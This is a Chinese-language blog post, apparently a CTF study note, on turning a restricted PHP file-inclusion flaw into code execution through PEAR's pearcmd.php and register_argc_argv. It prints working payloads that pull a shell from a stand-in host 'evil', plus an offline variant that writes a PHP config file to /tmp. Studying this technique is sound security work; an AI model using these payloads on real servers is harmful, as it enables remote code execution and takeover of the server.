有一段時間沒寫blog了,主要是事多,加上學的有些迷茫,所以內耗比較大。害,沉下心好好學吧。
漏洞利用背景:
允許文件包含,但session等各種文件包含都已經被過濾了。ctf題中可以關注register_argc_argv,也算是個提示
環境准備
- 安裝php
apt-get install php7.4
- 安裝pear
apt-get install php-pear

安裝成功
pear是什么?
PEAR就是為PHP擴展與應用庫(PHP Extension and Application Repository),它是一個PHP擴展及應用的一個代碼倉庫
類似於composer,用於代碼的下載與管理。
利用pear拉去遠程代碼
pear install -R /tmp http://evil:80/shell.php
register_argc_argv
php.ini默認為off,(當不存在下載的php中不存在php.ini時,默認為On)。
- cli模式
不需要開啟php.ini,即可通過$_SERVER['argv']獲取命令行參數,和cmd一樣
- web模式
在web頁模式下必須在php.ini開啟register_argc_argv配置項
設置register_argc_argv = On(默認是Off),重啟服務,$_SERVER[‘argv’]才會有效果
這時候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
cli模式下的argv在web模式下不適用
該變量是對queryString以+號進行切割,而不是&
register_argc_argv和pear的聯系
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/share/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/share/php"
INCARG="-d include_path=/usr/share/php"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
pear本質上就是個sh文件,上面是文件內容。
重點就是當執行了pear時,會將$_SERVER['argv']當作參數一起執行,從而自動拉取了指定的php文件
利用方法
當有存在有限制的文件包含漏洞時,利用該漏洞,先遠程拉取惡意文件到/tmp等權限要求低的目錄下,再利用文件包含
利用前提
1.開啟了register_argc_argv
2.要有pear管理包
3.無basedir的限制
4.允許包含php文件
允許出網的情況
payload
file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://evil/shell.php
注意:並不是所有的pear都在該路徑下,需要確保該php文件的位置。例如我的就在/usr/share下
但如果不允許出網的情況怎么辦?
可以通過設置config,再將配置保存到指定文件
exp
pear -c /tmp/.feng.php -d man_dir= -s
利用如上
只能說還有很多地方需要學。。。